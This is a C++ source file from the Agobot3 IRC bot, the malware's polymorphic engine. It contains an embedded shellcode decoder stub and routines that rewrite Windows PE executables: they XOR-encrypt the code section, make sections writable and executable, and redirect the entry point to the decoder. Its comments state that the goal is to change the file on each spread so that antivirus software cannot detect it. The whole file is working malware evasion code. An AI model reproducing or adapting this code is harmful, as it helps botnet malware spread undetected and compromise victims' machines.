/*	Agobot3 - a modular IRC bot for Win32 / Linux
	Copyright (c) 2003 Ago
	All rights reserved.

	This is private software, you may redistribute it under the terms of
	the APL(Ago's Private License) which follows:
  
	Redistribution and use in binary forms, with or without modification,
	are permitted provided that the following conditions are met:
	1. The name of the author may not be used to endorse or promote products
	   derived from this software without specific prior written permission.
	2. The binary may not be sold and/or given away for free.
	3. The licensee may only create binaries for his own usage, not for any
	   third parties.

	Redistribution and use in source forms, with or without modification,
	are not permitted.

	THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
	IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
	OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
	IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
	INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
	NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
	DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
	THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
	(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
	THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */

#include "main.h"
#include "polymorph.h"
#include "random.h"

#ifdef WIN32

//
// Compile agoenc.asm with nasm and convert it to a .h file using
// makeshell.exe to get this. It may be that you have to change the
// offsets if you modify something before the data section, like the
// DLL loader.
//

char agoenc[]=
	"\xE9\xC6\x00\x00\x00\x5A\x56\x57\x50\x51\x53\x89\xD3\xE8\x16"
	"\x02\x00\x00\x8D\xB3\x5F\x00\x00\x00\x8D\xBB\x68\x00\x00\x00\xC7"
	"\x83\xAB\x00\x00\x00\x0F\x00\x00\x00\xE8\x6A\x01\x00\x00\x89\x83"
	"\x88\x00\x00\x00\x8D\xBB\x77\x00\x00\x00\xC7\x83\xAB\x00\x00\x00"
	"\x0D\x00\x00\x00\xE8\x4F\x01\x00\x00\x89\x83\x84\x00\x00\x00\x8D"
	"\xB3\x19\x00\x00\x00\x8D\xBB\x20\x00\x00\x00\xE8\x20\x01\x00\x00"
	"\x89\x83\x47\x00\x00\x00\x8D\xBB\x26\x00\x00\x00\xE8\x0F\x01\x00"
	"\x00\x89\x83\x4B\x00\x00\x00\x8D\xBB\x2D\x00\x00\x00\xE8\xFE\x00"
	"\x00\x00\x89\x83\x4F\x00\x00\x00\x8D\xBB\x34\x00\x00\x00\xE8\xED"
	"\x00\x00\x00\x89\x83\x53\x00\x00\x00\x8D\xBB\x3B\x00\x00\x00\xE8"
	"\xDC\x00\x00\x00\x89\x83\x57\x00\x00\x00\x8D\xBB\x42\x00\x00\x00"
	"\xE8\xCB\x00\x00\x00\x89\x83\x5B\x00\x00\x00\x53\xE8\xED\x01\x00"
	"\x00\x5B\x5B\x59\x58\x5F\x5E\xE8\x11\x02\x00\x00\xE8\x35\xFF\xFF"
	"\xFF\x00\x00\x00\x00\x11\x11\x11\x11\x22\x22\x22\x22\x33\x33\x33"
	"\x33\xFF\x44\x44\x44\x44\x00\x00\x00\x00\x6D\x73\x76\x63\x72\x74"
	"\x00\x66\x6F\x70\x65\x6E\x00\x66\x63\x6C\x6F\x73\x65\x00\x66\x77"
	"\x72\x69\x74\x65\x00\x6D\x65\x6D\x73\x65\x74\x00\x6D\x61\x6C\x6C"
	"\x6F\x63\x00\x66\x72\x65\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x6B\x65\x72\x6E\x65\x6C\x33\x32\x00\x47\x65\x74\x50\x72\x6F\x63"
	"\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72"
	"\x61\x72\x79\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x77\x2B\x62"
	"\x00\x72\x62\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x51\x57\x56\x56\xFF\x93\x84\x00\x00\x00\x50\x59\x57\x51\xFF\x93"
	"\x88\x00\x00\x00\x5E\x5F\x59\xC3\x31\xC0\x89\x83\xA7\x00\x00\x00"
	"\x8B\x93\xA7\x00\x00\x00\x3B\x93\x97\x00\x00\x00\x7D\x63\x42\x89"
	"\x93\xA7\x00\x00\x00\x31\xC0\x8B\x83\xA7\x00\x00\x00\xC1\xE0\x02"
	"\x8B\x8B\x9F\x00\x00\x00\x01\xC1\x8B\x01\x03\x83\x93\x00\x00\x00"
	"\x57\x56\x51\x89\xFE\x89\xC7\x8B\x8B\xAB\x00\x00\x00\xF3\xA6\x59"
	"\x5E\x5F\x75\xBC\x31\xC0\x8B\x83\xA7\x00\x00\x00\xD1\xE0\x8B\x8B"
	"\xA3\x00\x00\x00\x01\xC1\x31\xC0\x66\x8B\x01\xC1\xE0\x02\x8B\x8B"
	"\x9B\x00\x00\x00\x01\xC8\x8B\x08\x03\x8B\x93\x00\x00\x00\x89\xC8"
	"\xC3\x31\xC0\xC3\xE9\xC4\x00\x00\x00\x3E\x8B\x40\x34\x3E\x8B\xA8"
	"\xB8\x00\x00\x00\xE9\x0E\x00\x00\x00\x50\x51\x56\x55\x64\xA1\x30"
	"\x00\x00\x00\x85\xC0\x78\xE2\x3E\x8B\x40\x0C\x3E\x8B\x70\x1C\xAD"
	"\x3E\x8B\x68\x08\x89\xAB\x93\x00\x00\x00\x89\xE8\x66\x81\x38\x4D"
	"\x5A\x75\xC1\x05\x3C\x00\x00\x00\x8B\x08\x03\x8B\x93\x00\x00\x00"
	"\x66\x81\x39\x50\x45\x75\xAD\x81\xC1\x78\x00\x00\x00\x8B\x31\x03"
	"\xB3\x93\x00\x00\x00\x81\xC6\x18\x00\x00\x00\xAD\x89\x83\x97\x00"
	"\x00\x00\xAD\x03\x83\x93\x00\x00\x00\x89\x83\x9B\x00\x00\x00\xAD"
	"\x03\x83\x93\x00\x00\x00\x89\x83\x9F\x00\x00\x00\xAD\x03\x83\x93"
	"\x00\x00\x00\x89\x83\xA3\x00\x00\x00\x5D\x5E\x59\x58\xC3\x89\xD9"
	"\x2B\x4B\x04\x66\x31\xC9\x89\x4B\x15\x03\x4B\x08\x89\xCE\x8B\x4B"
	"\x0C\x31\xD2\x8A\x43\x10\x30\x04\x16\x42\xE2\xFA\x8B\x4B\x11\x8B"
	"\x53\x15\x01\xCA\x5B\x5B\x5B\x59\x58\x5F\x5E\xFF\xE2\x90\x90\x90";

//
// To get these offsets, open agoenc.s with Win32Dasm and search for the
// Start of the data section, then check with the code that you are really
// at the right location and note the value in the statusbar for offset in
// file. This will be the offset for the line selected in Win32Dasm.
//

#define ENC_OFFSET_OFFSET		0xD4
#define ENC_OFFSET_OFFSET_CODE	0xD8
#define ENC_OFFSET_CODE_SIZE	0xDC
#define ENC_OFFSET_XOR_KEY		0xE0
#define ENC_OFFSET_ENTRYPOINT	0xE1

//
// Global polymorph object for testing without recompilation
//

extern char *g_szSectionName;

// ATTENTION !!! TESTING CODE !!! ATTENTION

CPolymorph::CPolymorph() { }

CPolymorph::CPolymorph(const char *szFile, const char *szOutFile) {
	DoPolymorph(szFile, szOutFile);
}

CPolymorph::~CPolymorph() { }

//
// DoPolymorph
// This maps the file, searches the sections for an encoder suitable
// section and a code section, builds an encoder into the section,
// sets the entry point in the file to the encoder, sets a flag in the
// header to detect already encryted files and finally saves the file
// back to disk. This is used to morph the file each time it spreads
// to evade antivirus, cause the avs have to spread it each time they
// want a new version of the morhped program.
//

bool CPolymorph::DoPolymorph(const char *szFile, const char *szOutFile) {
	// Map the file into memory
	char *szBuffer; if(!MapFile(szFile, &szBuffer)) return false;

	// Get and check the DOS header
	IMAGE_DOS_HEADER *iDosHeader=(IMAGE_DOS_HEADER*)szBuffer;
	if(iDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) { UnmapFile(); return false; }

	// Get and check the PE header
	char *pTemp=(char*)iDosHeader+iDosHeader->e_lfanew;
	DWORD *dwSignature=(DWORD*)pTemp; pTemp+=sizeof(DWORD);
	if(*dwSignature!=IMAGE_NT_SIGNATURE) { UnmapFile(); return false; }

	// Get the rest of the headers
	IMAGE_FILE_HEADER *iFileHead=(IMAGE_FILE_HEADER*)pTemp; pTemp+=sizeof(IMAGE_FILE_HEADER);
	IMAGE_OPTIONAL_HEADER *iOptHead=(IMAGE_OPTIONAL_HEADER*)pTemp; pTemp+=sizeof(IMAGE_OPTIONAL_HEADER);
	IMAGE_SECTION_HEADER *iSectHead=(IMAGE_SECTION_HEADER*)pTemp;

	// Get the size of the encoder
	int iEncoderSize=sizeof(agoenc);

	// Loop through the section headers
	int iSection; IMAGE_SECTION_HEADER *iSectPtr, *iSectEnc=NULL, *iSectCode=NULL;
	for(iSection=0, iSectPtr=iSectHead; iSection<iFileHead->NumberOfSections; iSection++, iSectPtr++) {
		// Check if its g_szSectionName (the internal section where
		// the encoder is stored).
		if(strstr((char*)iSectPtr->Name, g_szSectionName)) {
			// Store encoder in this section
			if(iSectPtr->SizeOfRawData >= iEncoderSize)
				iSectEnc=iSectPtr;
		}
		// Check if its the code section
		if(strstr((char*)iSectPtr->Name, ".text")) {
			// Mark this as the code section
			iSectCode=iSectPtr;
		}
	}

	// The .exe file is already encrypted
	while(iFileHead->TimeDateStamp==0xFFFFFFFF) {
		// Get values out of the header
		char *pSectionData=(char*)szBuffer+iSectEnc->PointerToRawData;
		int iSectionSize=iSectEnc->SizeOfRawData;

		// Get a XOR key
		char xorkey=(char)szBuffer+iSectEnc->PointerToRawData+ENC_OFFSET_XOR_KEY;

		// Allocate memory for the new section data
		char *pNewSectionData=(char*)malloc(iSectionSize+1);
		if(!pNewSectionData) break;

		// DeXOR the code section
		unsigned char *pCodeData=
			(unsigned char*)szBuffer+iSectCode->PointerToRawData;

		for(int i=0;i<iSectCode->SizeOfRawData;i++) {
			*(pCodeData+i)=*(pCodeData+i)^xorkey;
		}
		
		// Copy the section data into the image
		memcpy(pSectionData, pNewSectionData, iSectionSize);
		free(pNewSectionData); break; }

	// Found an encoder-suitable section
	while(iSectEnc && iSectCode) {
		// Get values out of the header
		char *pSectionData=(char*)szBuffer+iSectEnc->PointerToRawData;
		int iSectionSize=iSectEnc->SizeOfRawData;
		// Get a XOR key
		init_random(); char xorkey=brandom(1,254);

		// Set some marker for encryption detection later
		iFileHead->TimeDateStamp=0xFFFFFFFF;

		// Allocate memory for the new section data
		char *pNewSectionData=(char*)malloc(iSectionSize+1);
		if(!pNewSectionData) break;

		// Build an encoder in the section data
		BuildEncoder(pNewSectionData, iSectionSize, iSectEnc->VirtualAddress, \
			iSectCode->VirtualAddress, iSectCode->SizeOfRawData, \
			iOptHead->AddressOfEntryPoint, xorkey);

		// Set the entry point to the virtual address of the encoder section
		memcpy(&iOptHead->AddressOfEntryPoint, &iSectEnc->VirtualAddress, \
			sizeof(iSectEnc->VirtualAddress));

		// Make the encoder section readable, writable, executable,
		// containing code and shared
		iSectEnc->Characteristics	=	IMAGE_SCN_MEM_EXECUTE |
										IMAGE_SCN_MEM_READ |
										IMAGE_SCN_MEM_WRITE |
										IMAGE_SCN_CNT_CODE |
										IMAGE_SCN_MEM_SHARED;
		// Make the code section readable, writable, executable,
		// containing code and shared
		iSectCode->Characteristics	=	IMAGE_SCN_MEM_EXECUTE |
										IMAGE_SCN_MEM_READ |
										IMAGE_SCN_MEM_WRITE |
										IMAGE_SCN_CNT_CODE |
										IMAGE_SCN_MEM_SHARED;

		// XOR the code section
		unsigned char *pCodeData=
			(unsigned char*)szBuffer+iSectCode->PointerToRawData;

		for(int i=0;i<iSectCode->SizeOfRawData;i++) {
			*(pCodeData+i)=*(pCodeData+i)^xorkey;
		}
		
		// Copy the section data into the image
		memcpy(pSectionData, pNewSectionData, iSectionSize);
		free(pNewSectionData); break; }

	// Save the file under a new filename and unmap it
	SaveFile(szOutFile); UnmapFile(); return true; }

//
// BuildEncoder
// Setup a new encoder in the memory given as parameter
//

void CPolymorph::BuildEncoder(char *szSectionData, int iSectionSize, DWORD dwOffset, DWORD dwOffsetCode, DWORD dwCodeSize, DWORD dwEntryPoint, char xorkey) {
	// Clear the section and copy the encoder into it
	memset(szSectionData,							0,				iSectionSize	);
	memcpy(szSectionData,							agoenc,			sizeof(agoenc)	);

	// Configure the encoder
	memcpy(szSectionData+ENC_OFFSET_OFFSET,			&dwOffset,		sizeof(DWORD)	);
	memcpy(szSectionData+ENC_OFFSET_OFFSET_CODE,	&dwOffsetCode,	sizeof(DWORD)	);
	memcpy(szSectionData+ENC_OFFSET_CODE_SIZE,		&dwCodeSize,	sizeof(DWORD)	);
	memcpy(szSectionData+ENC_OFFSET_XOR_KEY,		&xorkey,		sizeof(char)	);
	memcpy(szSectionData+ENC_OFFSET_ENTRYPOINT,		&dwEntryPoint,	sizeof(DWORD)	);
}		

//
// MapFile
// This creates a memory mapped file
//

int CPolymorph::MapFile(const char *szFile, char **szBuffer) {
	// Try to open the file
	FILE *fp=fopen(szFile, "rb"); if(!fp) return 0;
	// Get the file size
	fseek(fp, 0, SEEK_END); int iFileSize=(int)ftell(fp); fseek(fp, 0, SEEK_SET);
	// Allocate the memory for the mapping
	*szBuffer=(char*)malloc(iFileSize); if(!*szBuffer) { fclose(fp); return 0; }
	// Read the file into memory
	if(fread(*szBuffer, sizeof(char), iFileSize, fp)<iFileSize) { fclose(fp); return 0; }
	// Copy values to the corresponding member variables and close the file
	m_iFileSize=iFileSize; m_szBuffer=*szBuffer; fclose(fp); return iFileSize; }

//
// UnmapFile
// This unmaps the memory mapped file
//

void CPolymorph::UnmapFile() {
	// Free the memory for the file
	free(m_szBuffer); }

//
// SaveFile
// This saves the memory mapped file back to disk
//

void CPolymorph::SaveFile(const char *szFile) {
	// Open the new file
	FILE *fp=fopen(szFile, "w+b"); if(!fp) return;
	// Write the mapped memory to the file
	fwrite(m_szBuffer, sizeof(char), m_iFileSize, fp);
	// Close the file
	fclose(fp); }

#endif // WIN32
